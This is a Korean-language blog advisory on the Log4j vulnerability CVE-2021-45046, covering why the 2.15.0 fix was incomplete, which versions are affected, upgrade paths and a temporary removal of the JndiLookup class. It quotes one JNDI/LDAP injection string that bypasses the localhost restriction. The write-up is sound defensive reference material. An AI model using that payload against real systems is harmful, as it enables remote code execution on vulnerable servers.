1. CVE-2021-45046 개요
Apache Log4j 2.15.0에서 CVE-2021-44228을 해결하기 위한 수정 사항이 기본이 아닌 패턴 레이아웃(PatternLayout)을 사용하는 경우 불완전한 것으로 나타났다. CVE-2021-44228을 완화하기 위해 시스템 속성 log4j2.formatMsgNoLookups를 true로 설정하였으나, v2.15.0에서는 CVE-2021-45046을 완전히 완화하지 못한다. v2.15.0에서 JNDI lookup이 localhost로 제한되어 있으나, 공격자는 ${jnđi:ldap://127.0.0.1#example.com:1389/a}와 같이 공격코드를 삽입함으로써 우회할 수 있다. Apache는 즉시 Log4j 2.16.0을 출시 했으며, 이 버전에서는 message lookup 기능이 완전히 제거하였다. 또한 Log4j에서 기본적으로 JNDI에 대한 액세스를 비활성화하였다. JNDI lookup은 여전히 사용할 수 있지만, 사용자가 직접 활성화 해야 사용할 수 있다.
2. 영향박는 Log4j 버전
2.0-beta9 ~ 2.15.0 이하
※ log4j-core-*.jar 파일 없이 log4j-api-*.jar 파일만 사용하는 경우 취약점의 영향을 받지 않음
3. 대응 방안
- Java 8 이상 :
Log4j 2.16.0->Log4j 2.17.0-> Log4j 2.17.1로 업데이트 - Java 7 :
Log4j 2.12.3-> Log4j 2.12.4 으로 업데이트
최신 버전으로 업데이트가 불가능한 경우 아래와 같이 임시 조치
- log4j-core jar에서 JndiLookup 및 JndiManager 클래스를 제거
(예시) zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
※ JndiManager를 제거하면 JndiContextSelector 및 JMSAppender가 더 이상 작동하지 않음
위의 임시조치는 어디까지나 임시조치이기 때문에 서비스 영향도를 고려하셔서 업데이트 계획을 수립 후 최신 버전의 Log4j로 업데이트를 권고하고 있다.
[참고자료]
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046
https://logging.apache.org/log4j/2.x/security.html
https://www.netskope.com/blog/cve-2021-45046-new-log4j-vulnerability-discovered
'Infomation > Vulnerability' 카테고리의 다른 글
CVE-2021-44832 Log4j Vulnerability (0) | 2021.12.29 |
---|---|
CVE-2021-45105 Log4j Vulnerability (0) | 2021.12.23 |
CVE-2021-44228 Log4j Vulnerability (0) | 2021.12.22 |